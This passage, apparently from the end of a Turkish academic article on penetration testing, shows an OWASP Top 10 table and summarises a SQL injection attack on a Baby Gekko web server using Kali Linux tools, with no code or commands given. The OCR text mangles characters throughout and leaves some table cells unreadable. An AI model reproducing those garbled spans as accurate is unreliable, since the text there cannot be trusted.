kullanilmas1 gerekmektedir. Sizma testlerinin amaci, gilivenlik agikliklarini belirlemek ve
sistemlerin giivenligini artirmaktir. Sizma testlerinin yasal ve etik kurallara uygun olarak

gergeklestirilmesi ve sonuglarin dogru sekilde degerlendirilmesi biiylik 6nem tagimaktadir.
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Sistem gilivenligi, giincel ve gilivenli yazilimlarin kullanilmasi, zayif noktalarin diizenli
olarak tespit edilmesi ve uygun dnlemlerin alinmasi ile saglanabilir. Sizma testleri, sistemlerin

giivenlik agiklarimi belirlemek ve agiklar1 kapatmak icin etkili bir yontemdir. Boylelikle,

sistem yoneticileri ve gilivenlik uzmanlar

sistemlerindeki gilivenlik aciklarini tespit

edebilmekte ve gerekli onlemleri alarak sistemlerinin giivenligini arttirabilmektedir.

Tablo 1. OWASP en 6nemli 10 web uygulamasi giivenligi riskleri

Siralama Risk Ag¢iklama
1 Enjeksiyon (Injection) Koétii niyetli kullgmcﬂarm veri tabgmna veya kpmuta girmesine
izin veren hatal1 giris denetimi
2 I?éilé(kgn,&ﬂfhgrﬁiggtli)?? Kimlik dogrulama ve oturum yonetimi zafiyetleri
Hassas Veri Agiga
3 (Ser%:;;ilrgllgata Hassas verilerin gereksiz yere agiga ¢ikmasi veya korunmamasi
Exposure)
XML Harici Varlik
4 Saldirist K&t amagli XML dokiimanlar kullanarak saldir1 yapma
(XML External Entity, yetenegi
XXE)
5 Kirik Erisim Denetimi Kullanicilarin yetkilendirmeden kagma veya yetkilerini
(Broken Access Control) yiikseltme riski
6 Yap?l{:l?éilsrrigiggguri ty Uygulama, sunucu veya veritabanl.yanhs yapilandirildiginda
. . . ortaya cikan riskler
Misconfiguration)
Siteler Arasi Betik
7 Calistirma Kotii niyetli kodlarin tarayicilarda ¢alismasina izin veren hatali
(Cross-Site Scripting, giris denetimi
XSS)
Giivensiz Serilestirme
8 (Insecure Serilestirme isleminin giivensiz kullanilmasi sonucu olugan risk
Deserialization)
Bilinen Giivenlik
Agiklari Bulunan
9 Bilesenlerin Kullanilmasi ~ Giivenlik agiklar1 igeren {iglincii taraf bilesenlerin kullanilmasi
(Using Components with
Known Vulnerabilities)
Yetersiz Gilinliikleme ve
10 Izleme Olaylarin ve hatalarin yeterince giinliiklenmemesi veya
(Insufficient Logging & izlenmemesi
Monitoring)

Acik Web Uygulama Giivenligi Projesi (Open Web Application Security Project,

OWASP) tarafindan belirlenen 2017 yilindaki en 6nemli 10 web uygulamasi giivenligi riskini
iceren siralama Tablo 1°de sunulmaktadir. Bu liste, web uygulamalarinin giivenligi ile ilgili
en biiyiikk tehditler1 siralamaktadir. Yillara gore giivenlik risk aciklarmin siralamasi
degismekte ve listeye yeni yontemler eklenmektedir. Ornegin, 2021 yilinda Enjeksiyon
(Injection) yontemi tigiincii siraya gerilerken Kirik Erisim Kontrolii (Broken Access Control)
birinci siraya gelmistir. Calismamizda SQL  saldirisi ile web

Ornegi uygulamasi
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uygulamasindaki en biiyiik giivenlik acikliklarindan birinin uygulanmasi gosterilmistir. Bu
caligmayla birlikte OWASP benzeri giivenlik aciklik listelerinin takip edilmesi ve bunlara
sistemlerde 6nlem alinmasinin 6nemi gosterilmektedir.

Calismamizin amaci, siber giivenlik alaninda ¢alismak isteyen aragtirmacilar i¢in bir
kilavuz niteligindedir. Calismada, Ubuntu 14.04 iizerinde Baby Gekko web sunucusu
kullanilan bir hedef sisteme Kali Linux ve Kali Linux’te bulunan sizma testi araglar
kullanilarak bir saldir1 gerceklestirilmigtir. Saldir1 siirecinde, farkli araclar ve teknikler
kullanilarak hedef sisteme yetkisiz erisim saglanmistir. Calisma kapsaminda gerceklestirilen
deneysel saldir1 sonucunda, hedef sistemde kullanilan sunucunun giivenlik agiklar1 tespit
edilmis ve zafiyetlerin saldir1 olarak kullanilabilecegi gosterilmistir.

Sonug olarak, yapilan ¢alismada gergeklestirilen saldir1 6rnegi, siber giivenlik bilincini
artttrmanin ve gilivenlik 6nemlerini gliglendirmenin 6nemini gostermektedir. Calisma ile
alanda ¢aligmak isteyen arastirmacilara yonelik rehber bir kaynak sunulmas: hedeflenmistir.

Sizma testleri, hedef sistemlerin giivenligini saglamak icin Oonemlidir. Ancak, ilgili
caligmalarin yasal ve etik kurallara uygun bir sekilde gergeklestirilmesi gerektigi
unutulmamalidir. Sistem yoneticileri, glivenlik agiklarni tespit etmek ve diizeltmek igin
diizenli olarak sizma testlerin, yiiriitmeli ve giincel giivenlik Onemlerini uygulamalidir.
Giivenlik agikliklari, siirekli bulunan agikliklar ve gelistirilen teknolojiler ile birlikte siirekli
degiskenlik gostermektedir. Bu nedenle, risklerle basa ¢ikmak ve uygulamalar1 daha giivenli
hale getirmek icin gelecekteki caligmalarimizda giincel OWASP riskleri ve bu riskleri

gerceklestiren ¢aligmalar yapilmasi planlanmaktadir.

Cikar Catismas1 Beyam

Makale yazarlari aralarinda herhangi bir ¢ikar catigmasi olmadigin1 beyan ederler.

Arastirmacilarin Katki Oram Beyan Ozeti

Yazarlar makaleye esit oranda katki saglamis olduklarini beyan ederler.
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